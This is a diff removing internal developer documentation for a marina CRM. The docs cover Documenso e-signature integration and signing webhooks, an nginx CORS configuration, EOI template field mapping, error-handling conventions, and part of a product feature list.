| Get document state | `GET /api/v1/documents/{id}` | `GET /api/v2/envelope/{id}` |
|
||||
| Send reminder to one recipient | `POST /api/v1/documents/{id}/recipients/{rid}/remind` | `POST /api/v2/envelope/{id}/recipient/{rid}/remind` |
|
||||
| Download finalized PDF | `GET /api/v1/documents/{id}/download` → `{ downloadUrl }` then GET that URL | `GET /api/v2/envelope/{id}/download` (same shape) |
|
||||
| Cancel / void | `DELETE /api/v1/documents/{id}` | `DELETE /api/v2/envelope/{id}` |
|
||||
| Healthcheck | `GET /api/v1/health` | (v1 path used) |
|
||||
|
||||
**Field key rename in v2 responses**: `id` → `documentId` and recipient `id` → `recipientId`. Our [`normalizeDocument()`](../src/lib/services/documenso-client.ts) handles both shapes.
|
||||
|
||||
---
|
||||
|
||||
## Signing-flow lifecycle
|
||||
|
||||
```
|
||||
[rep clicks Generate] (CRM)
|
||||
│
|
||||
▼
|
||||
buildEoiContext(interestId, portId) service
|
||||
│
|
||||
▼
|
||||
generateAndSign(templateId, ctx, signers) creates Documenso doc
|
||||
│
|
||||
▼
|
||||
POST /documents/{id}/send {sendEmail:false} Documenso starts the chain;
|
||||
it does NOT email signers
|
||||
│
|
||||
▼
|
||||
extract signing URLs from response service
|
||||
│
|
||||
▼
|
||||
transformSigningUrl(url, host, role) wrap as {host}/sign/<role>/<token>
|
||||
│
|
||||
▼
|
||||
if eoi_send_mode === 'auto':
|
||||
sendSigningInvitation(client) our branded HTML email goes out
|
||||
else:
|
||||
UI shows the URL + Send button rep dispatches manually
|
||||
```
|
||||
|
||||
When the client signs:
|
||||
|
||||
```
|
||||
Documenso fires DOCUMENT_SIGNED webhook ──► /api/webhooks/documenso
|
||||
│
|
||||
▼
|
||||
verify x-documenso-secret (per-port lookup)
|
||||
│
|
||||
▼
|
||||
update document_signers row: status='signed', signedAt=...
|
||||
│
|
||||
▼
|
||||
if next signer in chain has not been notified:
|
||||
sendSigningInvitation(developer) cascading "your turn" email
|
||||
```
|
||||
|
||||
When the document reaches fully-signed:
|
||||
|
||||
```
|
||||
Documenso fires DOCUMENT_COMPLETED webhook
|
||||
│
|
||||
▼
|
||||
download signed PDF from Documenso
|
||||
│
|
||||
▼
|
||||
store in storage backend → creates files row
|
||||
│
|
||||
▼
|
||||
update document: status='completed', completedAt=...
|
||||
│
|
||||
▼
|
||||
sendSigningCompleted([client, developer, approver], pdfFileId)
|
||||
all parties get the signed PDF
|
||||
│
|
||||
▼
|
||||
update interest: pipelineStage='eoi_signed' (or contract_signed, etc)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Embedded signing on the marketing website
|
||||
|
||||
The CRM emits signing URLs in the form `{embeddedSigningHost}/sign/<role>/<token>`. The marketing website ([Port Nimara/Website/pages/sign/[type]/[token].vue](../../Port%20Nimara/Website/pages/sign/%5Btype%5D/%5Btoken%5D.vue)) hosts the page, embeds Documenso via `@documenso/embed-vue`'s `<EmbedSignDocument>`, and POSTs back to the CRM webhook on completion.
|
||||
|
||||
For the embed to work, the Documenso instance MUST send `Access-Control-Allow-Origin` headers permitting the website origin.
|
||||
|
||||
### nginx CORS block to apply on `signatures.portnimara.dev`
|
||||
|
||||
Add to the relevant `server { ... }` block:
|
||||
|
||||
```nginx
|
||||
location / {
|
||||
# CORS for embedded signing — allow the marketing-website origin
|
||||
# to load the Documenso signing iframe.
|
||||
add_header 'Access-Control-Allow-Origin' 'https://portnimara.com' always;
|
||||
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS' always;
|
||||
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization' always;
|
||||
add_header 'Access-Control-Allow-Credentials' 'true' always;
|
||||
|
||||
# Preflight
|
||||
if ($request_method = 'OPTIONS') {
|
||||
add_header 'Access-Control-Allow-Origin' 'https://portnimara.com' always;
|
||||
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS' always;
|
||||
add_header 'Access-Control-Allow-Headers' 'DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization' always;
|
||||
add_header 'Access-Control-Max-Age' 1728000;
|
||||
add_header 'Content-Type' 'text/plain charset=UTF-8';
|
||||
add_header 'Content-Length' 0;
|
||||
return 204;
|
||||
}
|
||||
|
||||
# ... your existing proxy_pass block to Documenso
|
||||
}
|
||||
```
|
||||
|
||||
To support multiple website origins (e.g. Port Amador hosted on a different domain), use a regex:
|
||||
|
||||
```nginx
|
||||
set $cors_origin "";
|
||||
if ($http_origin ~* "^https://(portnimara\.com|portamador\.com)$") {
|
||||
set $cors_origin $http_origin;
|
||||
}
|
||||
add_header 'Access-Control-Allow-Origin' $cors_origin always;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## What's deferred vs landed in this build
|
||||
|
||||
**Landed:**
|
||||
|
||||
- Per-port admin settings — every Documenso config knob is exposed at `/admin/documenso`
|
||||
- Branded invitation, completion, and reminder email templates
|
||||
- `transformSigningUrl()` for `{host}/sign/<role>/<token>` URL wrapping
|
||||
- Documenso v1 + v2 dual-version client (existing)
|
||||
- Webhook handler with timing-safe per-port secret resolution (existing)
|
||||
- Contract + Reservation tab UI shells with paper-signed upload + "send for signing" placeholder
|
||||
- Stage-conditional tab visibility for EOI / Contract / Reservation
|
||||
|
||||
**Landed in Phase 2-4 (2026-05-13):**
|
||||
|
||||
- **Phase 2** — Webhook cascade + on-completion PDF distribution. `handleRecipientSigned` now finds the next pending signer and fires `sendSigningInvitation`; `handleDocumentCompleted` calls `sendSigningCompleted` to all recipients with the signed PDF attached (resolved via `getStorageBackend()` so MinIO + filesystem backends both work). Recipient matching prefers the Documenso recipient `token` captured at send-time (`document_signers.signing_token`); falls back to email match.
|
||||
- **Phase 3** — `lib/services/custom-document-upload.service.ts` + `POST /api/v1/interests/[id]/upload-for-signing`. Magic-byte verifies the PDF, stores via `getStorageBackend`, inserts the `documents` row, runs the full Documenso round-trip (`createDocument → sendDocument → placeFields`), captures recipient tokens, auto-sends invitation when port `sendMode === 'auto'`.
|
||||
- **Phase 4** — `<UploadForSigningDialog>` (`src/components/documents/upload-for-signing-dialog.tsx`). Three-step state machine (file → recipients → fields). Auto-detect runs server-side via `lib/services/document-field-detector.ts` (pdfjs text-extraction + anchor patterns); rep can drag/place/delete fields via native DOM events. Wired into the Contract + Reservation tabs.
|
||||
- **Phase 7** — Project Director RBAC binding. Admin UI exposes `documenso_developer_user_id` / `approver_user_id` / `_label` settings; webhook cascade fires an in-CRM `document_signing_your_turn` notification for linked users alongside the email.
|
||||
|
||||
**Phase 5 — Embedded signing URL emission verification:**
|
||||
|
||||
- `transformSigningUrl()` validated via 10 unit tests in `tests/unit/services/document-signing-urls.test.ts`. Maps signer-role → URL segment as:
|
||||
- `client → /sign/client/<token>`
|
||||
- `developer → /sign/developer/<token>`
|
||||
- `approver → /sign/cc/<token>` — funnels through the CC page with passive copy
|
||||
- `witness → /sign/witness/<token>` — website must handle this segment
|
||||
- `other → /sign/cc/<token>` — same as approver
|
||||
- Hardened to reject malformed source URLs: the function now uses `extractSigningToken()` (rejects tails <8 chars or with non-URL-safe punctuation), so a bare `https://sig.example.com` is returned untouched rather than producing the malformed `<host>/sign/<role>/sig.example.com`.
|
||||
|
||||
**Phase 5 — coordination on the marketing-website side (NOT in this repo):**
|
||||
|
||||
These are tracked here so the CRM stays the source of truth on the contract — the actual edits land in the website repo.
|
||||
|
||||
1. **Website `/sign/[type]/[token].vue` must handle `type ∈ {client, cc, developer, witness}`.** The CRM emits `cc` for both `approver` and `other` roles, and `witness` for explicit witness signers. Anything else lands on the website's `/sign/error` fallback.
|
||||
2. **`signerMessages` map must be keyed on `(documentType, role)`** so a contract recipient hitting `/sign/client/<token>` sees "Sign Your Sales Contract" rather than the EOI default. Until the website is updated, the URL emits `(role, token)` only; the website can resolve documentType from the Documenso embed payload.
|
||||
3. **Post-sign callback** — the legacy portal POSTed to `client-portal.portnimara.com/api/webhook/document-signed`. The CRM no longer needs this — the Documenso webhook at `/api/webhooks/documenso` handles all state updates server-side. The website's POST is now optional; if it's still in place, point it at the CRM's webhook receiver as a real-time UI signal.
|
||||
4. **Apply the nginx CORS block above** on the prod Documenso instance.
|
||||
|
||||
**Genuinely deferred (Phase 6 polish):**
|
||||
|
||||
- Auto-send delay (`eoi_send_delay_minutes` per-port setting + scheduled BullMQ job).
|
||||
- Document expiration toggle (`documents.expires_at` + Documenso `expiresAt` passthrough).
|
||||
- Per-document custom invitation message (textarea on the upload dialog → `documents.invitation_message`).
|
||||
- Reminder rate-limit display ("next reminder available in X days" badge on each unsigned signer in the signing-progress UI).
|
||||
- Failed-webhook recovery admin surface — the BullMQ webhook DLQ exists; needs an admin page with a Replay button.
|
||||
- Per-field metadata side panel for DROPDOWN/RADIO option lists in the Phase 4 dialog.
|
||||
- Pinch-zoom + zoom-out controls on the field-placement canvas.
|
||||
- Recipient drag-reorder via dnd-kit (current UI uses an order number input).
|
||||
|
||||
**Manual ops work for you:**
|
||||
|
||||
- Apply the nginx CORS block above on your prod Documenso instance.
|
||||
- Decide whether to upgrade prod Documenso to v2 (would unlock cleaner field placement + better envelope semantics).
|
||||
- Configure each port's developer/approver names and template IDs at `/[portSlug]/admin/documenso`.
|
||||
@@ -1,49 +0,0 @@
|
||||
# #71 Automated email refactor — DEFERRED
|
||||
|
||||
Searched the repo + git history (commits back to the initial `67d7e6e Initial
|
||||
commit: Port Nimara CRM`) for legacy CRM email templates that could be
|
||||
lifted verbatim or used as a tonal reference for the rewrite. **None found.**
|
||||
|
||||
The codebase was built from scratch; there's no archive directory, no
|
||||
import dump, and no commits ever contained "old-system" template HTML.
|
||||
|
||||
## What this task needs
|
||||
|
||||
A full refactor of the four signing-lifecycle emails to a luxury-port
|
||||
brand voice, with per-port branding flow:
|
||||
|
||||
1. **Invitation** (`signingInvitationEmail`) — currently functional but
|
||||
utilitarian copy. Subject format Matt called for:
|
||||
`"{firstName}, your EOI for {portName} is ready to be signed"`.
|
||||
2. **Reminder** (`signingReminderEmail`) — same recipient, follow-up nudge.
|
||||
3. **Completion** (`signingCompletedEmail`) — sent with the signed PDF attached.
|
||||
4. **Cancelled** (`signingCancelledEmail`) — added 2026-05-15 alongside the
|
||||
cancel-with-notify modal.
|
||||
|
||||
Each template should have **per-port** branding parameters:
|
||||
|
||||
- Port name + signature block
|
||||
- Primary brand color (already plumbed via `BrandingShell`)
|
||||
- Optional header/footer HTML overrides (`branding_email_header_html` /
|
||||
`_footer_html` settings)
|
||||
|
||||
## Source-of-truth flow before unblocking
|
||||
|
||||
Matt to paste / share the legacy templates from the prior CRM (likely
|
||||
NocoDB-era or a separate email tool — not committed to this repo). Once
|
||||
shared, lift the copy verbatim where possible; otherwise match
|
||||
**structure + tone + voice** carefully.
|
||||
|
||||
Current files to refactor:
|
||||
|
||||
- `src/lib/email/templates/document-signing.tsx` (4 templates)
|
||||
- `src/lib/email/templates/portal-auth.tsx` (activation + reset)
|
||||
- `src/lib/email/templates/inquiry-client-confirmation.tsx`
|
||||
- `src/lib/email/templates/inquiry-sales-notification.tsx`
|
||||
|
||||
## Status
|
||||
|
||||
DEFERRED until the legacy copy is supplied or Matt approves a from-scratch
|
||||
draft. The structural plumbing (per-port branding, sendEmail with
|
||||
attachments, EMAIL_REDIRECT_TO safety, cancel-with-notify wiring) all
|
||||
landed in earlier tasks — only the copy rewrite remains.
|
||||
@@ -1,81 +0,0 @@
|
||||
# Documenso EOI Template — Field Mapping
|
||||
|
||||
**Purpose:** This doc is the canonical reference for mapping the Documenso EOI template's `formValues` keys to the new data model's `EoiContext` shape. It drives `buildDocumensoPayload()` (Task 11.2), the in-app Standard EOI HTML tokens (Task 11.3), and the Spec 2 importer's yacht/company hydration.
|
||||
|
||||
## Source
|
||||
|
||||
The legacy field list comes from `client-portal/server/api/eoi/generate-quick-eoi.ts`, specifically the POST body sent to `POST /api/v1/templates/{templateId}/generate-document` (Documenso template 8). The relevant lines in that file are around the `createDocumentPayload.formValues` object.
|
||||
|
||||
## Documenso template `formValues` keys
|
||||
|
||||
Documenso template IDs and recipient IDs are configured via env vars:
|
||||
|
||||
- `NUXT_DOCUMENSO_TEMPLATE_ID` (default: `8`)
|
||||
- `NUXT_DOCUMENSO_CLIENT_RECIPIENT_ID` (default: `192`) — signing order 1
|
||||
- `NUXT_DOCUMENSO_DEVELOPER_RECIPIENT_ID` (default: `193`) — signing order 2
|
||||
- `NUXT_DOCUMENSO_APPROVAL_RECIPIENT_ID` (default: `194`) — APPROVER, signing order 3
|
||||
|
||||
The template exposes eight text fields (`formValues` keys) and two boolean checkboxes.
|
||||
|
||||
## Field mapping
|
||||
|
||||
The legacy template (Documenso template `8`, configured in production) auto-fills exactly the fields below. All eight text fields + two booleans are populated by `buildDocumensoPayload()` from the resolved `EoiContext`. Anything else on the form (signature, date, terms acknowledgment) is filled in by the client inside Documenso.
|
||||
|
||||
| Documenso key | Type | Legacy source | New `EoiContext` path | Notes |
|
||||
| -------------- | ------- | --------------------------- | ----------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `Name` | text | `interest['Full Name']` | `context.client.fullName` | The interest's point-of-contact client (billing signer). |
|
||||
| `Email` | text | `interest['Email Address']` | `context.client.primaryEmail` | Primary email contact from `client_contacts`. |
|
||||
| `Address` | text | `interest['Address']` | concat `context.client.address.{street,city,country}` | Concatenate street, city, country with `', '`. Empty if address is null. |
|
||||
| `Yacht Name` | text | `interest['Yacht Name']` | `context.yacht.name` | Yacht is now a first-class row; pulled via `interest.yachtId`. Empty string when no yacht is linked yet. |
|
||||
| `Length` | text | `interest['Length']` | `context.yacht.lengthFt` | Boat dimension. Send as string. Documenso doesn't enforce numeric format. Empty string when not applicable. |
|
||||
| `Width` | text | `interest['Width']` | `context.yacht.widthFt` | Same. |
|
||||
| `Draft` | text | `interest['Depth']` | `context.yacht.draftFt` | Legacy field was named "Depth" in NocoDB; Documenso key is "Draft". |
|
||||
| `Berth Number` | text | `berthNumbers` (joined) | `context.berth.mooringNumber` | The interest's PRIMARY berth (resolved via `interest_berths.is_primary=true`). Empty string when no primary set. |
|
||||
| `Berth Range` | text | (new) | `context.eoiBerthRange` | **NEW IN PHASE 5** — compact range string for multi-berth EOIs (e.g. `"A1-A3, B5-B7"`) covering every junction row marked `is_in_eoi_bundle=true`. Empty string when the bundle is empty. **The live Documenso template (id `8`) does NOT yet have this field. Add a `Berth Range` text field to the template before multi-berth EOIs render the range; until then Documenso silently drops the value and only `Berth Number` (the primary mooring) renders.** |
|
||||
| `Lease_10` | boolean | hardcoded `false` | `false` | Hardcoded — legacy flow defaults to Purchase (not Lease). |
|
||||
| `Purchase` | boolean | hardcoded `true` | `true` | Hardcoded — legacy flow defaults to Purchase. |
|
||||
|
||||
**Backwards-compatibility guarantee**: every legacy `formValues` key is still emitted with the same name and type. The only addition is `Berth Range` (Phase 5). Documenso silently ignores unknown formValues keys, so old templates that don't have `Berth Range` will simply not render it — single-berth EOIs continue to work identically. No template changes are required for legacy use.
|
||||
|
||||
## Document `meta` fields (non-`formValues`)
|
||||
|
||||
| Documenso key | Type | Legacy source | New source |
|
||||
| ------------------------- | ---- | ---------------------------------------- | ----------------------------------------------------------------- |
|
||||
| `meta.message` | text | `Dear ${interest['Full Name']}...` | `Dear ${context.client.fullName}, ...port name interpolated` |
|
||||
| `meta.subject` | text | `"Your LOI is ready to be signed"` | Same — constant. |
|
||||
| `meta.redirectUrl` | text | `"https://portnimara.com"` | `context.port.redirectUrl` if per-port; otherwise global app URL. |
|
||||
| `meta.distributionMethod` | text | `"NONE"` | Same — constant. We use manual send flow (Documenso webhook). |
|
||||
| `title` | text | `` `${interest['Full Name']}-EOI-NDA` `` | `` `${context.client.fullName}-EOI-NDA` `` |
|
||||
| `externalId` | text | `` `loi-${interestId}` `` | Same. |
|
||||
|
||||
## Recipients (non-`formValues`)
|
||||
|
||||
| Recipient | Role | Name | Email | Signing order |
|
||||
| ------------------- | -------- | ------------------------- | ----------------------------- | ------------- |
|
||||
| Client (signer) | SIGNER | `context.client.fullName` | `context.client.primaryEmail` | 1 |
|
||||
| Developer (signer) | SIGNER | `"David Mizrahi"` | `"dm@portnimara.com"` | 2 |
|
||||
| Approval (approver) | APPROVER | `"Abbie May"` | `"sales@portnimara.com"` | 3 |
|
||||
|
||||
The Developer and Approval recipients are currently hardcoded in the legacy flow. In the new system these should eventually come from port-level settings (e.g., `ports.settings.eoi.developerName` + email). For Task 11.2, keep them hardcoded as the legacy system does — tracking as TODO: "Replace hardcoded Developer/Approval recipients with port-level configuration."
|
||||
|
||||
## Company-owned yacht handling
|
||||
|
||||
The legacy flow has no concept of company ownership — the signer is always the interest's client. In the new system:
|
||||
|
||||
- If `context.yacht.ownerType === 'client'`: behavior unchanged.
|
||||
- If `context.yacht.ownerType === 'company'`: the interest's point-of-contact client still signs (they're the representative of the yacht's owning company), but an extra block should appear in the message body: `"On behalf of ${context.company.legalName ?? context.company.name} (representing the yacht's owner)."`. This isn't a separate Documenso field — it's woven into `meta.message`.
|
||||
|
||||
Tracking this in the mapping doc rather than as a hard TODO because company-owned EOIs were rare in the legacy system and need product input before committing to the final wording.
|
||||
|
||||
## Deprecated fields (no longer sourced from `clients`)
|
||||
|
||||
The legacy system read these fields from the client row. They are now sourced elsewhere:
|
||||
|
||||
| Legacy source | New source |
|
||||
| ------------------------- | --------------------------------------------------- |
|
||||
| `client.yachtName` | `yachts.name` via `interest.yachtId` |
|
||||
| `client.yachtLengthFt` | `yachts.lengthFt` via `interest.yachtId` |
|
||||
| `client.yachtWidthFt` | `yachts.widthFt` via `interest.yachtId` |
|
||||
| `client.yachtDraftFt` | `yachts.draftFt` via `interest.yachtId` |
|
||||
| `client.companyName` | `companies.name` via polymorphic owner resolution |
|
||||
| `client.berthSizeDesired` | Removed. Berth is picked via reservation, not text. |
|
||||
@@ -1,188 +0,0 @@
|
||||
# Error handling
|
||||
|
||||
## Overview
|
||||
|
||||
Every authenticated request runs inside an `AsyncLocalStorage` frame
|
||||
that carries a `requestId` (UUID) plus the resolved `portId` / `userId`
|
||||
/ HTTP method / path / start time. The id surfaces:
|
||||
|
||||
- as `X-Request-Id` on every response header (success or failure)
|
||||
- inside every pino log line emitted during the request
|
||||
- in the JSON error body returned to the client (`requestId` field)
|
||||
- as the primary key of the `error_events` row written when a 5xx fires
|
||||
|
||||
A user who hits a failure can copy the **Reference ID** from the toast
|
||||
and a super admin can paste it into `/<port>/admin/errors/<requestId>`
|
||||
to see the full request context, sanitized body, error stack, and a
|
||||
heuristic "likely culprit" hint.
|
||||
|
||||
## Throwing errors from a service
|
||||
|
||||
Use `CodedError` with a registered code:
|
||||
|
||||
```ts
|
||||
import { CodedError } from '@/lib/errors';
|
||||
|
||||
if (!hasReceipts && !ack) {
|
||||
throw new CodedError('EXPENSES_RECEIPT_REQUIRED');
|
||||
}
|
||||
```
|
||||
|
||||
The code drives:
|
||||
|
||||
- the HTTP status (defined in `src/lib/error-codes.ts`)
|
||||
- the **plain-text user-facing message** (no jargon — written for the
|
||||
rep on the phone with a customer)
|
||||
- the stable identifier the user can quote to support
|
||||
|
||||
For more verbose internal context — admin-only — use `internalMessage`:
|
||||
|
||||
```ts
|
||||
throw new CodedError('CROSS_PORT_LINK_REJECTED', {
|
||||
internalMessage: `interest ${a.id} (port ${a.portId}) ↔ berth ${b.id} (port ${b.portId})`,
|
||||
});
|
||||
```
|
||||
|
||||
The `internalMessage` lands in the `error_events` row and the admin
|
||||
inspector but **never** reaches the client.
|
||||
|
||||
## Adding a new error code
|
||||
|
||||
1. Open `src/lib/error-codes.ts`.
|
||||
2. Add an entry to the `ERROR_CODES` map. Convention: `DOMAIN_REASON`
|
||||
in SCREAMING_SNAKE_CASE.
|
||||
|
||||
```ts
|
||||
FOO_INVALID_BAR: {
|
||||
status: 400,
|
||||
userMessage: 'That bar value is no good. Please try another.',
|
||||
},
|
||||
```
|
||||
|
||||
3. Use it: `throw new CodedError('FOO_INVALID_BAR')`.
|
||||
4. The code, status, and message are now contractually stable —
|
||||
never rename a code once it has shipped. Documentation, UI, and
|
||||
external integrations may pin to it.
|
||||
|
||||
## Plain-text message guidelines
|
||||
|
||||
User-facing messages should:
|
||||
|
||||
- Avoid internal jargon (no "constraint violation", "FK", "row lock").
|
||||
- Be written for a rep on the phone with a customer.
|
||||
- Include the suggested next action when natural ("Ask an admin if you
|
||||
think you should").
|
||||
- Not include any technical detail that doesn't help the user — the
|
||||
request id + error code carry that.
|
||||
|
||||
Verbose technical detail belongs in `internalMessage` (admin-only).
|
||||
|
||||
## Client side
|
||||
|
||||
In a `useMutation`, render errors with the shared helper:
|
||||
|
||||
```ts
|
||||
import { toastError } from '@/lib/api/toast-error';
|
||||
|
||||
const mutation = useMutation({
|
||||
mutationFn: () => apiFetch('/api/v1/foo', { method: 'POST', body: { ... } }),
|
||||
onSuccess: () => { ... },
|
||||
onError: (err) => toastError(err),
|
||||
});
|
||||
```
|
||||
|
||||
The toast renders three lines:
|
||||
|
||||
```
|
||||
{plain-text message}
|
||||
|
||||
Error code: EXPENSES_RECEIPT_REQUIRED
|
||||
Reference ID: 8f3c-ab12-… [Copy ID]
|
||||
```
|
||||
|
||||
The "Copy ID" action puts the request id on the clipboard so the
|
||||
user can paste it into a support ticket.
|
||||
|
||||
## Admin inspector
|
||||
|
||||
`/<port>/admin/errors` lists captured 5xx errors:
|
||||
|
||||
- Status badge + method + path
|
||||
- "Likely culprit" badge (heuristic — Postgres SQLSTATE, error name,
|
||||
stack-path patterns, message keywords)
|
||||
- Truncated error name + message
|
||||
- Timestamp + reference id
|
||||
|
||||
Click any row for `/<port>/admin/errors/<requestId>` which shows:
|
||||
|
||||
- Request shape (method / path / when / duration / port / user / IP / UA)
|
||||
- Likely culprit + plain-English hint + subsystem tag
|
||||
- Full error name, message, stack head (first 4 KB)
|
||||
- Sanitized request body excerpt (max 1 KB; sensitive keys redacted)
|
||||
- Raw metadata (Postgres SQLSTATE codes, internalMessage, etc.)
|
||||
|
||||
Permission: `admin.view_audit_log`. Super admins see every port's
|
||||
errors; regular admins are scoped to their active port.
|
||||
|
||||
## What gets persisted
|
||||
|
||||
| Status | error_events row? | Toast shows code? |
|
||||
| ------ | ----------------- | ----------------- |
|
||||
| 4xx | No | Yes |
|
||||
| 5xx | **Yes** | Yes |
|
||||
|
||||
4xx errors are user-action mistakes (validation, not-found, permission
|
||||
denied). They're visible in the audit log but not the error inspector
|
||||
— that table is reserved for platform faults.
|
||||
|
||||
5xx errors hit the `errorEvents` table via `captureErrorEvent` inside
|
||||
`errorResponse`, which:
|
||||
|
||||
1. Reads the request context from ALS.
|
||||
2. Sanitizes + truncates the body (1 KB cap, sensitive keys redacted).
|
||||
3. Pulls Postgres `code` / `severity` / `cause.code` if the underlying
|
||||
error is a `postgres` driver error.
|
||||
4. Truncates the stack to 4 KB.
|
||||
5. Inserts one row keyed on `requestId` with `ON CONFLICT DO NOTHING`.
|
||||
|
||||
Failure to persist NEVER throws — the user is already getting an
|
||||
error response; we don't want a logging-pipeline failure to mask it.
|
||||
|
||||
## Likely-culprit classifier
|
||||
|
||||
`src/lib/error-classifier.ts` runs four passes against an
|
||||
`error_events` row, first match wins:
|
||||
|
||||
1. **Postgres SQLSTATE** (from `metadata.code`): 23502 NOT NULL,
|
||||
23503 FK, 23505 unique, 23514 CHECK, 42703 schema drift, 42P01
|
||||
missing table, 40001 serialization, 53300 connection limit, …
|
||||
2. **Error class name**: `AbortError`, `TimeoutError`, `FetchError`,
|
||||
`ZodError`.
|
||||
3. **Stack path**: `/lib/storage/`, `/lib/email/`, `documenso`,
|
||||
`openai|claude`, `/queue/workers/`.
|
||||
4. **Message free-text**: `econnrefused`, `rate limit`, `timeout`,
|
||||
`unauthorized|invalid api key`.
|
||||
|
||||
Returns `null` when nothing matches; the inspector renders
|
||||
"Uncategorized" in that case. Adding a new heuristic is a one-line
|
||||
edit to the relevant array.
|
||||
|
||||
## Pruning
|
||||
|
||||
`error_events` rows are dropped after 90 days by the maintenance
|
||||
worker (TODO: confirm the worker has the deletion path; if not, add
|
||||
a periodic job that runs `DELETE FROM error_events WHERE created_at <
|
||||
now() - interval '90 days'`).
|
||||
|
||||
## Migration path for legacy throws
|
||||
|
||||
Existing `NotFoundError` / `ForbiddenError` / `ConflictError` /
|
||||
`ValidationError` / `RateLimitError` still work — the user-facing
|
||||
messages on these classes have been rewritten to plain-text defaults.
|
||||
|
||||
Migration to `CodedError` happens opportunistically: when touching a
|
||||
service to fix something else, swap the throw site for a registered
|
||||
code.
|
||||
|
||||
A follow-up audit pass should walk `git grep "throw new ValidationError"`
|
||||
and migrate the user-impactful ones to specific codes.
|
||||
@@ -1,234 +0,0 @@
|
||||
# Port Nimara CRM — Feature List
|
||||
|
||||
A complete, purpose-built CRM for marina/port management: a single integrated workspace for sales, berths, documents, communications, and reporting, with the public website's berth feed and enquiry intake flowing directly into it. Multi-tenant by design — one branded instance per port.
|
||||
|
||||
> Scope note: this list covers the features ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are not included here.
|
||||
|
||||
---
|
||||
|
||||
## Platform foundations
|
||||
|
||||
Apply across every feature area:
|
||||
|
||||
- **Purpose-built relational database (PostgreSQL)** modelled specifically for marina sales — fast on large data sets, rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforced data integrity.
|
||||
- **Real-time updates.** Edits, stage changes, file attachments, and completed signings propagate to every open window within a second.
|
||||
- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates, applied automatically to emails, PDFs, and the in-app shell.
|
||||
- **Granular role-based permissions.** Defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Per-user overrides on top of per-role definitions.
|
||||
- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) recorded, retained 90 days, and searchable — surfaced in the activity feed, field-history popovers, and admin audit log.
|
||||
- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention, and a built-in system-monitoring dashboard.
|
||||
- **Background job queue.** PDF generation, email sending, exports, webhook retries, and bounce polling run on a managed queue so the interface stays responsive.
|
||||
- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
|
||||
- **Pluggable file storage.** Object storage (S3-compatible) by default, with a one-command migration script to switch backends.
|
||||
|
||||
---
|
||||
|
||||
## 1. Sales pipeline
|
||||
|
||||
- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
|
||||
- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
|
||||
- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place.
|
||||
- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is primary, which are publicly "under offer", and which are included in the EOI bundle.
|
||||
- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can override.
|
||||
- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked), each with auto / suggest / off modes and a per-port target berth status. Admin-tunable.
|
||||
- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) captured via an outcome dialog with required reason.
|
||||
- **Tags, notes, contact log, and activity timeline** on every deal.
|
||||
- **Saved views and recently-viewed.** Pin reusable filter+sort snapshots; recently-viewed items appear in the topbar.
|
||||
- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and derived score.
|
||||
- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
|
||||
- **Pipeline summary on each client.** All open and historic deals roll up onto the client detail page.
|
||||
|
||||
---
|
||||
|
||||
## 2. Berths
|
||||
|
||||
- **Catalog with list and card views**, filterable by status, area, and dimensions; every field inline-editable on the detail page.
|
||||
- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` for the marketing site; status computed with a clear precedence (Sold > Under Offer > Available), served from a 5-minute cache.
|
||||
- **Versioned per-berth PDFs.** Every upload creates a new version; the current version is live. Three-tier automatic parsing (form-fields → OCR → optional AI), with mooring-number mismatch flagging.
|
||||
- **Per-port brochures.** Multiple brochures per port with one enforced default; same upload + version flow as berth PDFs.
|
||||
- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or a signed-URL link when over the size threshold).
|
||||
- **Berth recommender.** Pure-SQL ranking surfacing matching berths per deal via a four-tier ladder (A/B/C/D); Tier B uses heat scoring with admin-configurable weights.
|
||||
- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and each berth's detail panel.
|
||||
- **Active interests popover.** Hover/tap any berth to see which deals are currently linked.
|
||||
- **Bulk price edit.** A sheet for updating prices across many berths at once.
|
||||
- **Bulk-add berths wizard** for onboarding inventory in batches.
|
||||
- **Catch-up wizard** to reconcile legacy state when migrating berth data.
|
||||
|
||||
---
|
||||
|
||||
## 3. Yachts
|
||||
|
||||
- **Polymorphic ownership.** A yacht can be owned by a client or a company; respected throughout search, documents, pipelines, and reports.
|
||||
- **Ownership history.** Every transfer recorded with date and parties; previous owners visible from the yacht detail.
|
||||
- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
|
||||
